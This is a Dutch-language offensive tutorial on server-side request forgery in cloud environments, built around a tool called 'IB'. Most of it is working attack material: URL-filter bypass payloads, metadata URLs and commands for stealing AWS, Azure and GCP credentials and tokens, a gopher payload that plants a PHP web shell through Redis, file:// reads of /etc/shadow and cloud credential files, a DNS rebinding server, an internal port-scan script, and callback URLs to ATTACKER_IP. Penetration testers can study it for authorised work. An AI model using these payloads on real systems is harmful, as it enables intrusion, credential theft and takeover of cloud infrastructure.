SSRF en Cloud Metadata Exploitatie

Server-Side Request Forgery (SSRF) is een kwetsbaarheid waarbij een aanvaller de server ertoe brengt HTTP-requests te doen naar willekeurige bestemmingen. In cloudomgevingen is SSRF bijzonder gevaarlijk omdat het toegang geeft tot interne metadata-services die credentials, configuratie en gevoelige informatie bevatten. In deze tutorial behandelen we SSRF-detectie, protocol smuggling, DNS rebinding en het extraheren van cloud credentials via AWS, Azure en GCP metadata-endpoints.

Dit is een gevorderde tutorial. Kennis van webapplicatiebeveiliging, HTTP-protocollen en cloudarchitectuur wordt verondersteld. Gebruik deze technieken uitsluitend in geautoriseerde testomgevingen.

Vereisten

IB – Open het SSRF dashboard via http://127.0.0.1:5000/dashboard/ssrf om alle SSRF-requests en callbacks te monitoren. IB biedt kant-en-klare redirect-endpoints voor alle grote cloudproviders.

Stap 1: SSRF Detectie

Typische kwetsbare functionaliteit

Zoek naar functionaliteit waar de server een URL ophaalt:

Basis SSRF-test

Test of de server requests doet naar een door jou gecontroleerd adres:

# Start een listener op je aanvalsmachine
nc -nlvp 8888

# Of gebruik een service als Burp Collaborator / interactsh

Vul in de kwetsbare parameter het adres van je listener in:

http://doelwit.lab/fetch?url=http://ATTACKER_IP:8888/ssrf-test

Als je een inkomend request ontvangt, is de parameter kwetsbaar voor SSRF.

Blind SSRF detectie

Bij blind SSRF zie je geen respons. Gebruik een callback-endpoint:

http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/callback?data=SSRF_CONFIRMED

IB – Het IB callback-endpoint /ssrf/callback slaat alle ontvangen data op in raw/loot/{ip}/ssrf/ en logt het in de database. Gebruik dit als out-of-band verificatie.

Omzeilen van URL-validatie

Veelgebruikte bypasses wanneer de applicatie URL’s filtert:

# IP-notatie varianten
http://127.0.0.1
http://2130706433        # decimaal
http://0x7f000001        # hexadecimaal
http://0177.0.0.1        # octaal
http://127.1             # verkort
http://0                 # verwijst naar localhost

# IPv6
http://[::1]
http://[0:0:0:0:0:ffff:127.0.0.1]

# DNS rebinding (eigen domein dat naar 127.0.0.1 resolvet)
http://localtest.me
http://spoofed.burpcollaborator.net

# URL-parsing inconsistenties
http://evil.com@127.0.0.1
http://127.0.0.1#@evil.com
http://127.0.0.1%2523@evil.com

Stap 2: AWS Metadata Exploitatie

AWS EC2-instances hebben een metadata-service beschikbaar op 169.254.169.254. Dit is het primaire doelwit bij SSRF in AWS.

IMDSv1 (geen authenticatie vereist)

# Basisinformatie ophalen
http://169.254.169.254/latest/meta-data/

# Instance identiteit
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4

# IAM-rolnaam ophalen
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IAM credentials ophalen (vervang ROLNAAM)
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLNAAM

De IAM credentials bevatten: - AccessKeyId - SecretAccessKey - Token (tijdelijk sessietoken)

Credentials gebruiken

# Configureer AWS CLI met gestolen credentials
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Test de credentials
aws sts get-caller-identity

# Enumerate rechten
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d'/' -f2)

IMDSv2 (token-gebaseerd)

AWS IMDSv2 vereist een PUT-request om een token te verkrijgen. Dit is moeilijker maar niet onmogelijk te exploiteren:

# Stap 1: Token ophalen (vereist PUT met TTL header)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Stap 2: Metadata ophalen met token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

Bij SSRF is IMDSv2 moeilijker te exploiteren omdat de meeste SSRF-kwetsbaarheden geen custom HTTP-methoden (PUT) of headers ondersteunen. Controleer of de applicatie redirect volgt – een redirect naar een IMDSv1-URL kan alsnog werken.

User-data (startup scripts)

# User-data kan credentials of configuratie bevatten
http://169.254.169.254/latest/user-data

IB – Gebruik het IB redirect-endpoint voor AWS: http://ATTACKER_IP:5000/ssrf/aws. Dit redirect (307) naar http://169.254.169.254/latest/meta-data/iam/security-credentials en logt het request automatisch.

Stap 3: Azure Metadata Exploitatie

Azure instances gebruiken hetzelfde IP-adres (169.254.169.254) maar vereisen een specifieke header.

Instance Metadata Service (IMDS)

# Azure vereist de Metadata header
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Managed Identity token ophalen
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

SSRF-uitdaging: Header-vereiste

De Metadata: true header maakt directe SSRF lastiger. Mogelijke bypasses:

# Via CRLF-injectie (als de applicatie kwetsbaar is)
http://doelwit.lab/fetch?url=http://169.254.169.254/metadata/instance%0d%0aMetadata:%20true%0d%0a?api-version=2021-02-01

# Via een redirect die de header behoudt (zeldzaam)
# Sommige HTTP-clients sturen headers mee bij redirects

Azure token gebruiken

# Token uit de respons gebruiken
TOKEN="eyJ0..."

# Azure resources opsommen
curl -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

# Key Vault secrets ophalen
curl -H "Authorization: Bearer $TOKEN" \
  "https://VAULT_NAME.vault.azure.net/secrets?api-version=7.3"

Stap 4: GCP Metadata Exploitatie

Google Cloud Platform gebruikt een ander metadata-endpoint.

Metadata ophalen

# GCP metadata (v1beta1 vereist geen header)
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

# Moderne versie (vereist header)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/?recursive=true"

# Service account token
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Project informatie
http://metadata.google.internal/computeMetadata/v1beta1/project/project-id

GCP token gebruiken

# Authenticeer met het verkregen token
TOKEN="ya29..."

# GCP API aanroepen
curl -H "Authorization: Bearer $TOKEN" \
  "https://www.googleapis.com/compute/v1/projects/PROJECT_ID/zones"

# Storage buckets opsommen
curl -H "Authorization: Bearer $TOKEN" \
  "https://storage.googleapis.com/storage/v1/b?project=PROJECT_ID"

IB – Gebruik http://ATTACKER_IP:5000/ssrf/google voor GCP metadata. IB biedt ook endpoints voor Oracle Cloud (/ssrf/oracle), DigitalOcean (/ssrf/digitalocean) en Kubernetes (/ssrf/kubernetes).

Stap 5: Protocol Smuggling

Sommige SSRF-kwetsbaarheden ondersteunen andere protocollen dan HTTP.

Gopher protocol

Gopher kan willekeurige TCP-data versturen. Dit is krachtig voor het aanspreken van interne services:

# Redis commando's via gopher
gopher://127.0.0.1:6379/_SET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0ACONFIG%20SET%20dir%20%2Fvar%2Fwww%2Fhtml%0ACONFIG%20SET%20dbfilename%20shell.php%0ASAVE%0AQUIT

# SMTP via gopher (e-mail versturen)
gopher://127.0.0.1:25/_HELO%20evil.com%0AMAIL%20FROM%3A%3Cattacker%40evil.com%3E%0ARCPT%20TO%3A%3Cvictim%40doelwit.lab%3E%0ADATA%0ASubject%3A%20Test%0A%0ABody%0A.%0AQUIT

# MySQL via gopher (als er geen wachtwoord is)
# Gebruik gopherus tool om gopher payloads te genereren

Dict protocol

# Service-informatie ophalen
dict://127.0.0.1:6379/INFO

File protocol

# Lokale bestanden lezen
file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ
file:///proc/self/cmdline
file:///home/user/.aws/credentials

IB – Het redirect-endpoint /ssrf/passwd redirect naar file:////etc/passwd en /ssrf/winini naar file:///c:/windows/win.ini. Gebruik het custom endpoint /ssrf/redirect?url=file:///etc/shadow voor willekeurige bestanden.

Stap 6: DNS Rebinding

DNS rebinding omzeilt IP-gebaseerde SSRF-filters door de DNS-resolutie te manipuleren.

Hoe het werkt

  1. De applicatie valideert de URL en resolved het domein naar een extern IP (check OK)
  2. De applicatie maakt een request naar het domein
  3. Bij de tweede DNS-lookup resolved het domein naar 169.254.169.254 of 127.0.0.1
  4. Het request gaat naar het interne adres

Implementatie

# Gebruik een DNS rebinding service
# rbndr.us laat je twee IP-adressen configureren die afwisselend teruggegeven worden

# Voorbeeld URL:
# http://7f000001.EXTERN_IP.rbndr.us/latest/meta-data/
# 7f000001 = 127.0.0.1 in hex

Eigen DNS rebinding server

#!/usr/bin/env python3
"""Minimale DNS rebinding server."""
from dnslib.server import DNSServer, DNSHandler, BaseResolver
from dnslib import RR, A, QTYPE
import threading
import time

class RebindResolver(BaseResolver):
    def __init__(self, extern_ip, intern_ip):
        self.extern_ip = extern_ip
        self.intern_ip = intern_ip
        self.flip = {}

    def resolve(self, request, handler):
        qname = str(request.q.qname)
        reply = request.reply()
        if qname not in self.flip:
            self.flip[qname] = True
        if self.flip[qname]:
            reply.add_answer(RR(qname, QTYPE.A, rdata=A(self.extern_ip), ttl=0))
        else:
            reply.add_answer(RR(qname, QTYPE.A, rdata=A(self.intern_ip), ttl=0))
        self.flip[qname] = not self.flip[qname]
        return reply

resolver = RebindResolver("EXTERN_IP", "169.254.169.254")
server = DNSServer(resolver, port=53, address="0.0.0.0")
server.start_thread()
print("[+] DNS rebinding server draait op poort 53")

try:
    while True:
        time.sleep(1)
except KeyboardInterrupt:
    server.stop()

Stap 7: Pivoteren naar Interne Services

SSRF geeft niet alleen toegang tot metadata. Je kunt het ook gebruiken om interne services aan te spreken.

Interne poortscanning

#!/usr/bin/env python3
"""Interne poortscanning via SSRF."""
import requests
import sys

doel_url = "http://doelwit.lab/fetch?url="
intern_host = "192.168.1.1"
poorten = [22, 80, 443, 445, 3306, 5432, 6379, 8080, 8443, 9200]

for poort in poorten:
    try:
        url = f"{doel_url}http://{intern_host}:{poort}/"
        r = requests.get(url, timeout=5)
        if r.status_code != 500 and len(r.text) > 0:
            print(f"[+] Poort {poort} is open op {intern_host}")
            print(f"    Response lengte: {len(r.text)}")
    except requests.exceptions.Timeout:
        print(f"[-] Poort {poort} timeout (mogelijk gefilterd)")
    except Exception as e:
        print(f"[-] Poort {poort} fout: {e}")

Interne webapplicaties benaderen

# Kubernetes API
http://doelwit.lab/fetch?url=https://kubernetes.default.svc/api/v1/namespaces

# Docker daemon
http://doelwit.lab/fetch?url=http://127.0.0.1:2375/v1.24/containers/json

# Elasticsearch
http://doelwit.lab/fetch?url=http://192.168.1.50:9200/_cat/indices

# Redis (als HTTP-parsing niet strict is)
http://doelwit.lab/fetch?url=http://192.168.1.50:6379/INFO

# Consul
http://doelwit.lab/fetch?url=http://127.0.0.1:8500/v1/kv/?recurse

IB – Gebruik /ssrf/docker om naar de Docker daemon API te redirecten en /ssrf/kubernetes voor Kubernetes metadata. Het custom endpoint /ssrf/redirect?url=http://INTERN_IP:POORT/ werkt voor elke interne bestemming.

Stap 8: Automatiseren met IB

Alle cloud metadata endpoints testen

# AWS
curl "http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/aws"

# Azure
curl "http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/azure"

# GCP
curl "http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/google"

# OpenStack
curl "http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/openstack"

# DigitalOcean
curl "http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/digitalocean"

# Oracle Cloud
curl "http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/oracle"

Callback voor blind SSRF

# Controleer of SSRF werkt via het callback-endpoint
curl "http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/callback?data=ssrf_bevestigd"

# Bekijk resultaten in het dashboard
curl http://127.0.0.1:5000/api/ssrf/data

Custom redirect keten

# Gebruik het custom redirect-endpoint voor specifieke doelen
curl "http://doelwit.lab/fetch?url=http://ATTACKER_IP:5000/ssrf/redirect?url=http://169.254.169.254/latest/user-data"

Mitigatie en Detectie

Hoewel dit een offensieve tutorial is, is het nuttig om mitigatiemaatregelen te kennen voor je rapportage:

Samenvatting

In deze tutorial heb je geleerd hoe je SSRF-kwetsbaarheden vindt en exploiteert in cloudomgevingen:

  1. SSRF detectie – Identificeer parameters die server-side requests triggeren en test met callbacks.
  2. Cloud metadata – Extraheer IAM credentials van AWS, Azure managed identity tokens en GCP service account tokens.
  3. Protocol smuggling – Gebruik gopher, dict en file protocollen om interne services aan te spreken.
  4. DNS rebinding – Omzeil IP-gebaseerde filters met DNS-manipulatie.
  5. Interne verkenning – Scan interne netwerken en benader services als Docker, Kubernetes en databases.
  6. IB integratie – Gebruik de kant-en-klare redirect-endpoints en het callback-systeem voor efficiënte exploitatie.

SSRF in cloudomgevingen kan leiden tot volledige compromittering van de cloud-infrastructuur. Documenteer je bevindingen grondig en benadruk in je rapport de potentiele impact van gelekte credentials.